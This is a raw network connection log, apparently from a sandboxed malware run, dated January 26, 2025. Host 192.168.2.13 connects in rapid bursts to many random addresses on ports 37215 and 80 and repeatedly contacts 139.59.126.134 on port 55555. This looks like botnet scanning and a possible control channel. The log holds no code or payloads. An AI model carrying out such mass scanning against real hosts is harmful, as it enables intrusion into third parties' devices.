Jan 26, 2025 01:43:31.748409033 CET	47415	37215	192.168.2.13	41.85.183.140
Jan 26, 2025 01:43:31.748425961 CET	47415	37215	192.168.2.13	41.43.222.124
Jan 26, 2025 01:43:31.748425961 CET	47415	37215	192.168.2.13	41.19.65.153
Jan 26, 2025 01:43:31.748431921 CET	47415	37215	192.168.2.13	41.36.161.2
Jan 26, 2025 01:43:31.748467922 CET	47415	37215	192.168.2.13	41.131.58.211
Jan 26, 2025 01:43:31.748481035 CET	47415	37215	192.168.2.13	41.17.89.83
Jan 26, 2025 01:43:31.748482943 CET	47415	37215	192.168.2.13	41.64.122.34
Jan 26, 2025 01:43:31.748513937 CET	47415	37215	192.168.2.13	41.106.84.149
Jan 26, 2025 01:43:31.748513937 CET	47415	37215	192.168.2.13	41.192.93.166
Jan 26, 2025 01:43:31.748513937 CET	47415	37215	192.168.2.13	41.20.76.76
Jan 26, 2025 01:43:31.748529911 CET	47415	37215	192.168.2.13	41.126.240.140
Jan 26, 2025 01:43:31.748532057 CET	47415	37215	192.168.2.13	41.208.35.218
Jan 26, 2025 01:43:31.748544931 CET	47415	37215	192.168.2.13	41.229.45.13
Jan 26, 2025 01:43:31.748558044 CET	47415	37215	192.168.2.13	41.224.186.104
Jan 26, 2025 01:43:31.748567104 CET	47415	37215	192.168.2.13	41.96.151.232
Jan 26, 2025 01:43:31.748568058 CET	47415	37215	192.168.2.13	41.197.119.130
Jan 26, 2025 01:43:31.748596907 CET	47415	37215	192.168.2.13	41.130.31.255
Jan 26, 2025 01:43:31.748615026 CET	47415	37215	192.168.2.13	41.53.154.249
Jan 26, 2025 01:43:31.748631954 CET	47415	37215	192.168.2.13	41.67.225.232
Jan 26, 2025 01:43:31.748648882 CET	47415	37215	192.168.2.13	41.241.253.44
Jan 26, 2025 01:43:31.748648882 CET	47415	37215	192.168.2.13	41.90.204.160
Jan 26, 2025 01:43:31.748650074 CET	47415	37215	192.168.2.13	41.246.125.169
Jan 26, 2025 01:43:31.748651981 CET	47415	37215	192.168.2.13	41.219.87.118
Jan 26, 2025 01:43:31.748655081 CET	47415	37215	192.168.2.13	41.179.58.127
Jan 26, 2025 01:43:31.748694897 CET	47415	37215	192.168.2.13	41.66.236.5
Jan 26, 2025 01:43:31.748697042 CET	47415	37215	192.168.2.13	41.122.48.230
Jan 26, 2025 01:43:31.748703957 CET	47415	37215	192.168.2.13	41.121.234.50
Jan 26, 2025 01:43:31.748728991 CET	47415	37215	192.168.2.13	41.8.243.208
Jan 26, 2025 01:43:31.748729944 CET	47415	37215	192.168.2.13	41.210.50.185
Jan 26, 2025 01:43:31.748730898 CET	47415	37215	192.168.2.13	41.22.244.52
Jan 26, 2025 01:43:31.748740911 CET	47415	37215	192.168.2.13	41.122.55.118
Jan 26, 2025 01:43:31.748763084 CET	47415	37215	192.168.2.13	41.132.151.94
Jan 26, 2025 01:43:31.748791933 CET	47415	37215	192.168.2.13	41.17.178.159
Jan 26, 2025 01:43:31.748811007 CET	47415	37215	192.168.2.13	41.213.11.33
Jan 26, 2025 01:43:31.748908997 CET	58424	37215	192.168.2.13	197.241.78.99
Jan 26, 2025 01:43:31.748939991 CET	58424	37215	192.168.2.13	197.241.78.99
Jan 26, 2025 01:43:31.748961926 CET	56816	37215	192.168.2.13	197.152.206.30
Jan 26, 2025 01:43:31.748987913 CET	56816	37215	192.168.2.13	197.152.206.30
Jan 26, 2025 01:43:31.749459982 CET	47415	37215	192.168.2.13	41.223.148.101
Jan 26, 2025 01:43:31.749461889 CET	47415	37215	192.168.2.13	41.143.129.1
Jan 26, 2025 01:43:31.753175974 CET	37215	47415	41.95.96.43	192.168.2.13
Jan 26, 2025 01:43:31.753259897 CET	47415	37215	192.168.2.13	41.95.96.43
Jan 26, 2025 01:43:31.755750895 CET	37215	58424	197.241.78.99	192.168.2.13
Jan 26, 2025 01:43:31.755764961 CET	37215	56816	197.152.206.30	192.168.2.13
Jan 26, 2025 01:43:31.763968945 CET	80	50710	95.0.96.253	192.168.2.13
Jan 26, 2025 01:43:31.773483038 CET	57076	80	192.168.2.13	95.45.34.87
Jan 26, 2025 01:43:31.773482084 CET	44548	37215	192.168.2.13	197.22.82.152
Jan 26, 2025 01:43:31.773483992 CET	33654	80	192.168.2.13	95.106.74.180
Jan 26, 2025 01:43:31.773482084 CET	44084	37215	192.168.2.13	197.18.210.138
Jan 26, 2025 01:43:31.773485899 CET	34600	80	192.168.2.13	95.10.99.184
Jan 26, 2025 01:43:31.773483992 CET	45762	37215	192.168.2.13	197.0.227.255
Jan 26, 2025 01:43:31.773484945 CET	48248	80	192.168.2.13	95.231.203.97
Jan 26, 2025 01:43:31.773484945 CET	52610	37215	192.168.2.13	197.229.227.217
Jan 26, 2025 01:43:31.773485899 CET	45964	37215	192.168.2.13	197.166.199.114
Jan 26, 2025 01:43:31.773485899 CET	45588	80	192.168.2.13	95.136.40.238
Jan 26, 2025 01:43:31.773488045 CET	43924	80	192.168.2.13	95.52.122.58
Jan 26, 2025 01:43:31.773502111 CET	60692	80	192.168.2.13	95.4.40.214
Jan 26, 2025 01:43:31.773507118 CET	54886	80	192.168.2.13	95.188.219.245
Jan 26, 2025 01:43:31.773507118 CET	60816	80	192.168.2.13	95.58.89.244
Jan 26, 2025 01:43:31.773507118 CET	60890	80	192.168.2.13	95.86.88.195
Jan 26, 2025 01:43:31.773507118 CET	47788	37215	192.168.2.13	197.161.234.6
Jan 26, 2025 01:43:31.773509979 CET	54632	37215	192.168.2.13	197.17.125.118
Jan 26, 2025 01:43:31.773513079 CET	44526	80	192.168.2.13	95.227.234.66
Jan 26, 2025 01:43:31.773533106 CET	49690	37215	192.168.2.13	197.110.228.188
Jan 26, 2025 01:43:31.773533106 CET	42594	37215	192.168.2.13	197.8.29.186
Jan 26, 2025 01:43:31.773534060 CET	56406	80	192.168.2.13	95.229.186.64
Jan 26, 2025 01:43:31.778265953 CET	80	57076	95.45.34.87	192.168.2.13
Jan 26, 2025 01:43:31.778294086 CET	37215	44548	197.22.82.152	192.168.2.13
Jan 26, 2025 01:43:31.778306961 CET	80	33654	95.106.74.180	192.168.2.13
Jan 26, 2025 01:43:31.778364897 CET	44548	37215	192.168.2.13	197.22.82.152
Jan 26, 2025 01:43:31.778367043 CET	57076	80	192.168.2.13	95.45.34.87
Jan 26, 2025 01:43:31.778453112 CET	57076	80	192.168.2.13	95.45.34.87
Jan 26, 2025 01:43:31.778454065 CET	33654	80	192.168.2.13	95.106.74.180
Jan 26, 2025 01:43:31.778531075 CET	57076	80	192.168.2.13	95.45.34.87
Jan 26, 2025 01:43:31.779186010 CET	36846	37215	192.168.2.13	41.95.96.43
Jan 26, 2025 01:43:31.779278040 CET	57474	80	192.168.2.13	95.45.34.87
Jan 26, 2025 01:43:31.779889107 CET	44548	37215	192.168.2.13	197.22.82.152
Jan 26, 2025 01:43:31.779889107 CET	44548	37215	192.168.2.13	197.22.82.152
Jan 26, 2025 01:43:31.780062914 CET	33654	80	192.168.2.13	95.106.74.180
Jan 26, 2025 01:43:31.780062914 CET	33654	80	192.168.2.13	95.106.74.180
Jan 26, 2025 01:43:31.780355930 CET	34062	80	192.168.2.13	95.106.74.180
Jan 26, 2025 01:43:31.783169031 CET	80	57076	95.45.34.87	192.168.2.13
Jan 26, 2025 01:43:31.784688950 CET	37215	44548	197.22.82.152	192.168.2.13
Jan 26, 2025 01:43:31.784789085 CET	80	33654	95.106.74.180	192.168.2.13
Jan 26, 2025 01:43:31.792313099 CET	55555	42424	139.59.126.134	192.168.2.13
Jan 26, 2025 01:43:31.792408943 CET	42424	55555	192.168.2.13	139.59.126.134
Jan 26, 2025 01:43:31.792408943 CET	42424	55555	192.168.2.13	139.59.126.134
Jan 26, 2025 01:43:31.792851925 CET	42892	55555	192.168.2.13	139.59.126.134
Jan 26, 2025 01:43:31.797683954 CET	55555	42892	139.59.126.134	192.168.2.13
Jan 26, 2025 01:43:31.797744036 CET	42892	55555	192.168.2.13	139.59.126.134
Jan 26, 2025 01:43:31.798382044 CET	42892	55555	192.168.2.13	139.59.126.134
Jan 26, 2025 01:43:31.799010038 CET	37215	56816	197.152.206.30	192.168.2.13
Jan 26, 2025 01:43:31.799025059 CET	37215	58424	197.241.78.99	192.168.2.13
Jan 26, 2025 01:43:31.803164959 CET	55555	42892	139.59.126.134	192.168.2.13
Jan 26, 2025 01:43:31.803216934 CET	42892	55555	192.168.2.13	139.59.126.134
Jan 26, 2025 01:43:31.805337906 CET	44770	80	192.168.2.13	95.203.2.238
Jan 26, 2025 01:43:31.805347919 CET	38614	37215	192.168.2.13	197.71.140.250
Jan 26, 2025 01:43:31.805352926 CET	58218	80	192.168.2.13	95.213.69.122
Jan 26, 2025 01:43:31.805355072 CET	56074	80	192.168.2.13	95.221.224.46
Jan 26, 2025 01:43:31.805356026 CET	38836	37215	192.168.2.13	197.69.9.240
Jan 26, 2025 01:43:31.805356026 CET	52872	80	192.168.2.13	95.190.142.222
Jan 26, 2025 01:43:31.805356026 CET	39020	80	192.168.2.13	95.204.218.126
Jan 26, 2025 01:43:31.805356026 CET	44442	80	192.168.2.13	95.238.236.77
Jan 26, 2025 01:43:31.805367947 CET	35914	80	192.168.2.13	95.23.117.89
Jan 26, 2025 01:43:31.805367947 CET	59586	80	192.168.2.13	95.17.228.204
Jan 26, 2025 01:43:31.805370092 CET	44286	37215	192.168.2.13	197.33.41.156
Jan 26, 2025 01:43:31.805372953 CET	33190	80	192.168.2.13	95.20.203.110
Jan 26, 2025 01:43:31.805372953 CET	57184	37215	192.168.2.13	197.210.147.116
Jan 26, 2025 01:43:31.805376053 CET	44042	80	192.168.2.13	95.103.223.101
Jan 26, 2025 01:43:31.805376053 CET	37074	80	192.168.2.13	95.19.214.46
Jan 26, 2025 01:43:31.805378914 CET	53422	80	192.168.2.13	95.12.54.231
Jan 26, 2025 01:43:31.805378914 CET	55110	37215	192.168.2.13	197.140.212.34
Jan 26, 2025 01:43:31.805381060 CET	49782	37215	192.168.2.13	197.235.72.48
Jan 26, 2025 01:43:31.805381060 CET	57346	37215	192.168.2.13	197.26.63.200
Jan 26, 2025 01:43:31.805381060 CET	40972	80	192.168.2.13	95.17.56.58
Jan 26, 2025 01:43:31.805381060 CET	37072	37215	192.168.2.13	197.193.78.138
Jan 26, 2025 01:43:31.805381060 CET	34804	37215	192.168.2.13	197.75.77.153
Jan 26, 2025 01:43:31.805389881 CET	59842	80	192.168.2.13	95.125.79.136
Jan 26, 2025 01:43:31.805389881 CET	41724	37215	192.168.2.13	197.145.74.237
Jan 26, 2025 01:43:31.805389881 CET	54344	37215	192.168.2.13	197.226.136.193
Jan 26, 2025 01:43:31.807986021 CET	55555	42892	139.59.126.134	192.168.2.13
Jan 26, 2025 01:43:31.810149908 CET	80	44770	95.203.2.238	192.168.2.13
Jan 26, 2025 01:43:31.810164928 CET	37215	38614	197.71.140.250	192.168.2.13
Jan 26, 2025 01:43:31.810281038 CET	44770	80	192.168.2.13	95.203.2.238
Jan 26, 2025 01:43:31.810281038 CET	44770	80	192.168.2.13	95.203.2.238
Jan 26, 2025 01:43:31.810281038 CET	44770	80	192.168.2.13	95.203.2.238
Jan 26, 2025 01:43:31.810283899 CET	38614	37215	192.168.2.13	197.71.140.250
Jan 26, 2025 01:43:31.810312033 CET	38614	37215	192.168.2.13	197.71.140.250
Jan 26, 2025 01:43:31.810342073 CET	38614	37215	192.168.2.13	197.71.140.250
Jan 26, 2025 01:43:31.810651064 CET	45110	80	192.168.2.13	95.203.2.238
Jan 26, 2025 01:43:31.816626072 CET	80	44770	95.203.2.238	192.168.2.13
Jan 26, 2025 01:43:31.816639900 CET	37215	38614	197.71.140.250	192.168.2.13
Jan 26, 2025 01:43:31.828372955 CET	80	33654	95.106.74.180	192.168.2.13
Jan 26, 2025 01:43:31.828389883 CET	37215	44548	197.22.82.152	192.168.2.13
Jan 26, 2025 01:43:31.828406096 CET	80	57076	95.45.34.87	192.168.2.13
Jan 26, 2025 01:43:31.837441921 CET	50222	80	192.168.2.13	95.252.5.214
Jan 26, 2025 01:43:31.837441921 CET	36550	37215	192.168.2.13	197.221.47.231
Jan 26, 2025 01:43:31.837441921 CET	52382	80	192.168.2.13	95.171.9.26
Jan 26, 2025 01:43:31.837445021 CET	53210	80	192.168.2.13	95.61.168.188
Jan 26, 2025 01:43:31.837445974 CET	46352	37215	192.168.2.13	197.252.164.247
Jan 26, 2025 01:43:31.837446928 CET	48680	37215	192.168.2.13	197.209.131.14
Jan 26, 2025 01:43:31.837445974 CET	52808	37215	192.168.2.13	197.35.199.151
Jan 26, 2025 01:43:31.837447882 CET	40544	37215	192.168.2.13	197.209.38.75
Jan 26, 2025 01:43:31.837445974 CET	47864	80	192.168.2.13	95.227.152.120
Jan 26, 2025 01:43:31.837446928 CET	58362	80	192.168.2.13	95.65.144.178
Jan 26, 2025 01:43:31.837464094 CET	47232	37215	192.168.2.13	197.142.243.223
Jan 26, 2025 01:43:31.837467909 CET	44580	80	192.168.2.13	95.147.6.93
Jan 26, 2025 01:43:31.837467909 CET	58114	37215	192.168.2.13	197.190.36.116
Jan 26, 2025 01:43:31.837471008 CET	35940	37215	192.168.2.13	197.171.63.203
Jan 26, 2025 01:43:31.837471962 CET	34188	80	192.168.2.13	95.193.143.88
Jan 26, 2025 01:43:31.837479115 CET	48944	37215	192.168.2.13	197.244.197.244
Jan 26, 2025 01:43:31.837480068 CET	52416	80	192.168.2.13	95.27.39.89
Jan 26, 2025 01:43:31.837483883 CET	39508	37215	192.168.2.13	197.237.201.142
Jan 26, 2025 01:43:31.837483883 CET	51206	80	192.168.2.13	95.164.86.72
Jan 26, 2025 01:43:31.837486029 CET	51492	37215	192.168.2.13	197.199.142.186
Jan 26, 2025 01:43:31.837486029 CET	51666	37215	192.168.2.13	197.22.147.76
Jan 26, 2025 01:43:31.837486029 CET	53306	37215	192.168.2.13	197.151.30.28
Jan 26, 2025 01:43:31.837488890 CET	39374	37215	192.168.2.13	197.17.249.106
Jan 26, 2025 01:43:31.837488890 CET	45576	8080	192.168.2.13	85.95.154.119
Jan 26, 2025 01:43:31.837488890 CET	43518	80	192.168.2.13	95.0.89.161
Jan 26, 2025 01:43:31.837490082 CET	36592	37215	192.168.2.13	197.244.160.176
Jan 26, 2025 01:43:31.843846083 CET	37215	46352	197.252.164.247	192.168.2.13
Jan 26, 2025 01:43:31.843863964 CET	80	50222	95.252.5.214	192.168.2.13
Jan 26, 2025 01:43:31.843875885 CET	80	53210	95.61.168.188	192.168.2.13
Jan 26, 2025 01:43:31.843931913 CET	53210	80	192.168.2.13	95.61.168.188
Jan 26, 2025 01:43:31.843931913 CET	46352	37215	192.168.2.13	197.252.164.247
Jan 26, 2025 01:43:31.843941927 CET	50222	80	192.168.2.13	95.252.5.214
Jan 26, 2025 01:43:31.844021082 CET	50222	80	192.168.2.13	95.252.5.214
Jan 26, 2025 01:43:31.844021082 CET	50222	80	192.168.2.13	95.252.5.214
Jan 26, 2025 01:43:31.844156027 CET	46352	37215	192.168.2.13	197.252.164.247
Jan 26, 2025 01:43:31.844319105 CET	46352	37215	192.168.2.13	197.252.164.247
Jan 26, 2025 01:43:31.844640970 CET	50538	80	192.168.2.13	95.252.5.214
Jan 26, 2025 01:43:31.845021009 CET	53210	80	192.168.2.13	95.61.168.188
Jan 26, 2025 01:43:31.845021009 CET	53210	80	192.168.2.13	95.61.168.188
Jan 26, 2025 01:43:31.845421076 CET	53524	80	192.168.2.13	95.61.168.188
Jan 26, 2025 01:43:31.850374937 CET	80	50222	95.252.5.214	192.168.2.13
Jan 26, 2025 01:43:31.850389957 CET	37215	46352	197.252.164.247	192.168.2.13
Jan 26, 2025 01:43:31.850832939 CET	80	50538	95.252.5.214	192.168.2.13
Jan 26, 2025 01:43:31.850886106 CET	80	53210	95.61.168.188	192.168.2.13
Jan 26, 2025 01:43:31.850915909 CET	50538	80	192.168.2.13	95.252.5.214
Jan 26, 2025 01:43:31.850991964 CET	50538	80	192.168.2.13	95.252.5.214
Jan 26, 2025 01:43:31.851255894 CET	39048	80	192.168.2.13	95.101.62.226
Jan 26, 2025 01:43:31.857316971 CET	80	50538	95.252.5.214	192.168.2.13
Jan 26, 2025 01:43:31.857404947 CET	50538	80	192.168.2.13	95.252.5.214
Jan 26, 2025 01:43:31.864371061 CET	37215	38614	197.71.140.250	192.168.2.13
Jan 26, 2025 01:43:31.864384890 CET	80	44770	95.203.2.238	192.168.2.13
Jan 26, 2025 01:43:31.869354010 CET	53598	80	192.168.2.13	95.190.87.34
Jan 26, 2025 01:43:31.869355917 CET	37250	80	192.168.2.13	95.134.233.175
Jan 26, 2025 01:43:31.869359970 CET	49006	37215	192.168.2.13	197.162.118.8
Jan 26, 2025 01:43:31.869360924 CET	42738	80	192.168.2.13	95.244.190.219
Jan 26, 2025 01:43:31.869359970 CET	52492	80	192.168.2.13	95.167.94.12
Jan 26, 2025 01:43:31.869360924 CET	35780	80	192.168.2.13	95.37.127.134
Jan 26, 2025 01:43:31.869359970 CET	46096	80	192.168.2.13	95.199.254.18
Jan 26, 2025 01:43:31.869370937 CET	47380	80	192.168.2.13	95.84.93.5
Jan 26, 2025 01:43:31.869385004 CET	36404	80	192.168.2.13	95.9.14.226
Jan 26, 2025 01:43:31.869390965 CET	48604	37215	192.168.2.13	197.189.13.239
Jan 26, 2025 01:43:31.869400024 CET	46494	37215	192.168.2.13	197.12.91.71
Jan 26, 2025 01:43:31.869400978 CET	36262	80	192.168.2.13	95.250.132.221
Jan 26, 2025 01:43:31.869420052 CET	36628	37215	192.168.2.13	197.216.53.252
Jan 26, 2025 01:43:31.869421005 CET	51800	37215	192.168.2.13	197.76.41.81
Jan 26, 2025 01:43:31.869443893 CET	57754	37215	192.168.2.13	197.15.59.76
Jan 26, 2025 01:43:31.869447947 CET	54026	37215	192.168.2.13	197.229.5.129
Jan 26, 2025 01:43:31.869466066 CET	40072	37215	192.168.2.13	197.189.18.131
Jan 26, 2025 01:43:31.869484901 CET	51072	37215	192.168.2.13	197.227.95.31
Jan 26, 2025 01:43:31.869534016 CET	48882	37215	192.168.2.13	197.114.182.240
Jan 26, 2025 01:43:31.875777006 CET	80	53598	95.190.87.34	192.168.2.13
Jan 26, 2025 01:43:31.875792980 CET	80	37250	95.134.233.175	192.168.2.13
Jan 26, 2025 01:43:31.875972033 CET	53598	80	192.168.2.13	95.190.87.34
Jan 26, 2025 01:43:31.875972033 CET	53598	80	192.168.2.13	95.190.87.34
Jan 26, 2025 01:43:31.875993967 CET	37250	80	192.168.2.13	95.134.233.175
Jan 26, 2025 01:43:31.876049995 CET	53598	80	192.168.2.13	95.190.87.34
Jan 26, 2025 01:43:31.876413107 CET	53850	80	192.168.2.13	95.190.87.34
Jan 26, 2025 01:43:31.876931906 CET	37250	80	192.168.2.13	95.134.233.175
Jan 26, 2025 01:43:31.876946926 CET	37250	80	192.168.2.13	95.134.233.175
Jan 26, 2025 01:43:31.877249002 CET	37502	80	192.168.2.13	95.134.233.175
Jan 26, 2025 01:43:31.882246017 CET	80	53598	95.190.87.34	192.168.2.13
Jan 26, 2025 01:43:31.882704973 CET	80	53850	95.190.87.34	192.168.2.13
Jan 26, 2025 01:43:31.882772923 CET	53850	80	192.168.2.13	95.190.87.34
Jan 26, 2025 01:43:31.882772923 CET	53850	80	192.168.2.13	95.190.87.34
Jan 26, 2025 01:43:31.883110046 CET	58746	80	192.168.2.13	95.100.81.167
Jan 26, 2025 01:43:31.883147001 CET	80	37250	95.134.233.175	192.168.2.13
Jan 26, 2025 01:43:31.888874054 CET	80	53850	95.190.87.34	192.168.2.13
Jan 26, 2025 01:43:31.888917923 CET	53850	80	192.168.2.13	95.190.87.34
Jan 26, 2025 01:43:31.892443895 CET	80	53210	95.61.168.188	192.168.2.13
Jan 26, 2025 01:43:31.892457962 CET	37215	46352	197.252.164.247	192.168.2.13
Jan 26, 2025 01:43:31.892469883 CET	80	50222	95.252.5.214	192.168.2.13
Jan 26, 2025 01:43:31.901340008 CET	57646	80	192.168.2.13	95.234.201.85
Jan 26, 2025 01:43:31.901364088 CET	58304	80	192.168.2.13	95.146.224.185
Jan 26, 2025 01:43:31.901365995 CET	45538	80	192.168.2.13	95.0.135.121
Jan 26, 2025 01:43:31.901365995 CET	48964	37215	192.168.2.13	197.135.182.60
Jan 26, 2025 01:43:31.901386976 CET	59542	37215	192.168.2.13	197.69.65.242
Jan 26, 2025 01:43:31.901386976 CET	34450	80	192.168.2.13	95.100.236.194
Jan 26, 2025 01:43:31.901405096 CET	46192	37215	192.168.2.13	197.114.93.185
Jan 26, 2025 01:43:31.901405096 CET	36534	80	192.168.2.13	95.135.9.203
Jan 26, 2025 01:43:31.901406050 CET	39078	80	192.168.2.13	95.99.51.140
Jan 26, 2025 01:43:31.901413918 CET	58136	37215	192.168.2.13	197.144.13.39
Jan 26, 2025 01:43:31.901421070 CET	33176	37215	192.168.2.13	197.159.187.14
Jan 26, 2025 01:43:31.901433945 CET	41958	37215	192.168.2.13	197.107.125.124
Jan 26, 2025 01:43:31.901458979 CET	36918	37215	192.168.2.13	197.166.10.132
Jan 26, 2025 01:43:31.901458979 CET	39772	80	192.168.2.13	95.48.58.95
Jan 26, 2025 01:43:31.901458979 CET	60456	80	192.168.2.13	95.24.53.87
Jan 26, 2025 01:43:31.901460886 CET	34888	37215	192.168.2.13	197.17.126.10
Jan 26, 2025 01:43:31.901462078 CET	54540	80	192.168.2.13	95.29.233.228
Jan 26, 2025 01:43:31.901460886 CET	40348	80	192.168.2.13	95.72.68.249
Jan 26, 2025 01:43:31.901460886 CET	60008	37215	192.168.2.13	197.93.156.79
Jan 26, 2025 01:43:31.901463985 CET	41018	37215	192.168.2.13	197.5.105.17
Jan 26, 2025 01:43:31.901464939 CET	34492	80	192.168.2.13	95.192.131.94
Jan 26, 2025 01:43:31.901464939 CET	60518	37215	192.168.2.13	197.17.208.129
Jan 26, 2025 01:43:31.901468992 CET	59950	80	192.168.2.13	95.206.219.190
Jan 26, 2025 01:43:31.901473045 CET	37264	80	192.168.2.13	95.248.12.82
Jan 26, 2025 01:43:31.901480913 CET	37392	37215	192.168.2.13	197.210.98.142
Jan 26, 2025 01:43:31.907618999 CET	80	57646	95.234.201.85	192.168.2.13
Jan 26, 2025 01:43:31.907634020 CET	80	58304	95.146.224.185	192.168.2.13
Jan 26, 2025 01:43:31.907685995 CET	57646	80	192.168.2.13	95.234.201.85
Jan 26, 2025 01:43:31.907685995 CET	58304	80	192.168.2.13	95.146.224.185
Jan 26, 2025 01:43:31.907795906 CET	58304	80	192.168.2.13	95.146.224.185
Jan 26, 2025 01:43:31.907795906 CET	58304	80	192.168.2.13	95.146.224.185
Jan 26, 2025 01:43:31.908200979 CET	58512	80	192.168.2.13	95.146.224.185
Jan 26, 2025 01:43:31.908518076 CET	57646	80	192.168.2.13	95.234.201.85
Jan 26, 2025 01:43:31.908518076 CET	57646	80	192.168.2.13	95.234.201.85
Jan 26, 2025 01:43:31.908808947 CET	57848	80	192.168.2.13	95.234.201.85
Jan 26, 2025 01:43:31.913491011 CET	80	58304	95.146.224.185	192.168.2.13
Jan 26, 2025 01:43:31.915000916 CET	80	58512	95.146.224.185	192.168.2.13
Jan 26, 2025 01:43:31.915014982 CET	80	57646	95.234.201.85	192.168.2.13
Jan 26, 2025 01:43:31.915079117 CET	58512	80	192.168.2.13	95.146.224.185
Jan 26, 2025 01:43:31.915079117 CET	58512	80	192.168.2.13	95.146.224.185
Jan 26, 2025 01:43:31.915422916 CET	46308	80	192.168.2.13	95.49.157.87
Jan 26, 2025 01:43:31.921576977 CET	80	58512	95.146.224.185	192.168.2.13
Jan 26, 2025 01:43:31.921674013 CET	58512	80	192.168.2.13	95.146.224.185
Jan 26, 2025 01:43:31.921720028 CET	80	46308	95.49.157.87	192.168.2.13
Jan 26, 2025 01:43:31.922017097 CET	46308	80	192.168.2.13	95.49.157.87
Jan 26, 2025 01:43:31.922017097 CET	46308	80	192.168.2.13	95.49.157.87
Jan 26, 2025 01:43:31.922056913 CET	46308	80	192.168.2.13	95.49.157.87
Jan 26, 2025 01:43:31.922379971 CET	46310	80	192.168.2.13	95.49.157.87
Jan 26, 2025 01:43:31.923377991 CET	80	37250	95.134.233.175	192.168.2.13
Jan 26, 2025 01:43:31.923392057 CET	80	53598	95.190.87.34	192.168.2.13
Jan 26, 2025 01:43:31.928011894 CET	80	46308	95.49.157.87	192.168.2.13
Jan 26, 2025 01:43:31.933351994 CET	60210	37215	192.168.2.13	197.178.34.229
Jan 26, 2025 01:43:31.933351994 CET	60310	37215	192.168.2.13	197.255.48.66
Jan 26, 2025 01:43:31.933352947 CET	55888	37215	192.168.2.13	197.86.162.181
Jan 26, 2025 01:43:31.933352947 CET	45242	37215	192.168.2.13	197.205.49.198
Jan 26, 2025 01:43:31.933355093 CET	51494	37215	192.168.2.13	197.185.237.142
Jan 26, 2025 01:43:31.933356047 CET	46778	80	192.168.2.13	95.91.92.144
Jan 26, 2025 01:43:31.933356047 CET	54492	37215	192.168.2.13	197.187.226.234
Jan 26, 2025 01:43:31.933358908 CET	53566	80	192.168.2.13	95.114.45.33
Jan 26, 2025 01:43:31.933358908 CET	57664	80	192.168.2.13	95.124.121.103
Jan 26, 2025 01:43:31.933361053 CET	50056	80	192.168.2.13	95.69.54.205
Jan 26, 2025 01:43:31.933362961 CET	49652	80	192.168.2.13	95.91.65.111
Jan 26, 2025 01:43:31.933367968 CET	43126	80	192.168.2.13	95.88.190.166
Jan 26, 2025 01:43:31.933367968 CET	42412	80	192.168.2.13	95.108.183.50
Jan 26, 2025 01:43:31.933383942 CET	60306	80	192.168.2.13	95.156.183.245
Jan 26, 2025 01:43:31.933383942 CET	36458	80	192.168.2.13	95.205.20.148
Jan 26, 2025 01:43:31.933386087 CET	51286	80	192.168.2.13	95.152.159.47
Jan 26, 2025 01:43:31.933387995 CET	51734	80	192.168.2.13	95.102.86.56
Jan 26, 2025 01:43:31.933387995 CET	37938	80	192.168.2.13	95.230.186.198
Jan 26, 2025 01:43:31.933387995 CET	33152	80	192.168.2.13	95.52.16.78
Jan 26, 2025 01:43:31.940200090 CET	37215	60310	197.255.48.66	192.168.2.13
Jan 26, 2025 01:43:31.940212965 CET	37215	60210	197.178.34.229	192.168.2.13
Jan 26, 2025 01:43:31.940277100 CET	60310	37215	192.168.2.13	197.255.48.66
Jan 26, 2025 01:43:31.940278053 CET	60210	37215	192.168.2.13	197.178.34.229
Jan 26, 2025 01:43:31.940615892 CET	60310	37215	192.168.2.13	197.255.48.66
Jan 26, 2025 01:43:31.940623045 CET	60210	37215	192.168.2.13	197.178.34.229
Jan 26, 2025 01:43:31.940661907 CET	60310	37215	192.168.2.13	197.255.48.66
Jan 26, 2025 01:43:31.940665007 CET	60210	37215	192.168.2.13	197.178.34.229
Jan 26, 2025 01:43:31.946933985 CET	37215	60310	197.255.48.66	192.168.2.13
Jan 26, 2025 01:43:31.947077990 CET	37215	60210	197.178.34.229	192.168.2.13
Jan 26, 2025 01:43:31.956507921 CET	80	57646	95.234.201.85	192.168.2.13
Jan 26, 2025 01:43:31.956521988 CET	80	58304	95.146.224.185	192.168.2.13
Jan 26, 2025 01:43:31.965363026 CET	60200	80	192.168.2.13	95.171.206.124
Jan 26, 2025 01:43:31.965363026 CET	45350	80	192.168.2.13	95.180.168.54
Jan 26, 2025 01:43:31.965363026 CET	56380	80	192.168.2.13	95.111.127.45
Jan 26, 2025 01:43:31.965363026 CET	47004	80	192.168.2.13	95.120.134.77
Jan 26, 2025 01:43:31.965363026 CET	55750	80	192.168.2.13	95.48.55.222
Jan 26, 2025 01:43:31.965363026 CET	39360	80	192.168.2.13	95.67.13.251
Jan 26, 2025 01:43:31.965370893 CET	45522	80	192.168.2.13	95.19.56.47
Jan 26, 2025 01:43:31.965370893 CET	51448	80	192.168.2.13	95.37.177.156
Jan 26, 2025 01:43:31.965373039 CET	39686	80	192.168.2.13	95.48.32.17
Jan 26, 2025 01:43:31.965385914 CET	48796	80	192.168.2.13	95.38.212.25
Jan 26, 2025 01:43:31.965384960 CET	48862	80	192.168.2.13	95.177.253.80
Jan 26, 2025 01:43:31.965384960 CET	34650	80	192.168.2.13	95.161.115.91
Jan 26, 2025 01:43:31.965392113 CET	36380	80	192.168.2.13	95.75.151.188
Jan 26, 2025 01:43:31.965400934 CET	45562	80	192.168.2.13	95.40.136.67
Jan 26, 2025 01:43:31.965400934 CET	36486	80	192.168.2.13	95.168.4.212
Jan 26, 2025 01:43:31.965403080 CET	51214	80	192.168.2.13	95.34.45.233
Jan 26, 2025 01:43:31.965403080 CET	44762	80	192.168.2.13	95.146.243.156
Jan 26, 2025 01:43:31.965409994 CET	44622	80	192.168.2.13	95.217.180.253
Jan 26, 2025 01:43:31.965425968 CET	45078	80	192.168.2.13	95.133.209.227
Jan 26, 2025 01:43:31.965426922 CET	39506	80	192.168.2.13	95.103.245.236
Jan 26, 2025 01:43:31.965428114 CET	39124	80	192.168.2.13	95.21.157.0
Jan 26, 2025 01:43:31.965444088 CET	48990	80	192.168.2.13	95.255.31.254
Jan 26, 2025 01:43:31.971637964 CET	80	60200	95.171.206.124	192.168.2.13
Jan 26, 2025 01:43:31.971657038 CET	80	56380	95.111.127.45	192.168.2.13
Jan 26, 2025 01:43:31.971671104 CET	80	45522	95.19.56.47	192.168.2.13
Jan 26, 2025 01:43:31.971733093 CET	45522	80	192.168.2.13	95.19.56.47
Jan 26, 2025 01:43:31.971734047 CET	60200	80	192.168.2.13	95.171.206.124
Jan 26, 2025 01:43:31.971735001 CET	56380	80	192.168.2.13	95.111.127.45
Jan 26, 2025 01:43:31.971887112 CET	56380	80	192.168.2.13	95.111.127.45
